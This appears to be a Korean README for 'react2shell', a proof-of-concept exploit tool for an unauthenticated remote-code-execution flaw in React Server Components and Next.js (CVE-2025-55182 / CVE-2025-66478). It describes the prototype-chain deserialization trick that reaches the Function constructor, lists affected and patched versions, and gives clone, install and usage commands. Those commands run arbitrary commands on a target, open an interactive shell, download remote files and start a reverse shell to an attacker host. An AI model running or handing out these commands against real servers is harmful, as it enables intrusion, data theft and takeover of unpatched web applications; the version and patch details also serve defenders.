
react2shell - CVE-2025-55182 (Next.js: CVE-2025-66478) - React Server Components (Flight Protocol)의 인증되지 않은 RCE - PoC 악용

CVE-2025-55182 (Next.js: CVE-2025-66478)
React Server Components(Flight Protocol)의 인증되지 않은 RCE - PoC 익스플로잇
React Server Components (Flight 프로토콜)은 프로토타입 체인 접근을 검증하지 않고 공격자가 제어하는 multipart/form-data를 역직렬화합니다. Next-Action 헤더가 포함된 단일 인증되지 않은 POST 요청은 조작된 참조 체인($1:__proto__:then + $1:constructor:constructor)을 통해 Function 생성자에 도달하여 서버에서 원격 코드 실행을 초래합니다.
react-server-dom-{webpack,turbopack,parcel} 19.0.0 - 19.2.0 및 Next.js App Router(14.3.0-canary.77+, 15.x, 16.x)를 포함한 하위 소비자에 영향을 미칩니다. 기본 create-next-app 프로젝트는 취약합니다.
git clone https://github.com/rvzsec/react2shell
cd react2shell
pip3 install -r requirements.txt
python3 react2shell.py check -t <target>
python3 react2shell.py exec -t <target> -c '<command>'
python3 react2shell.py shell -t <target>
python3 react2shell.py file -t <target> -f <remote-path> -o <local-out>
python3 react2shell.py revshell -t <target> --lhost <ip> --lport <port>
React 19.0.1 / 19.1.2 / 19.2.1+ - Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7
최초 공개: Lachlan Davidson (@lachlan2k)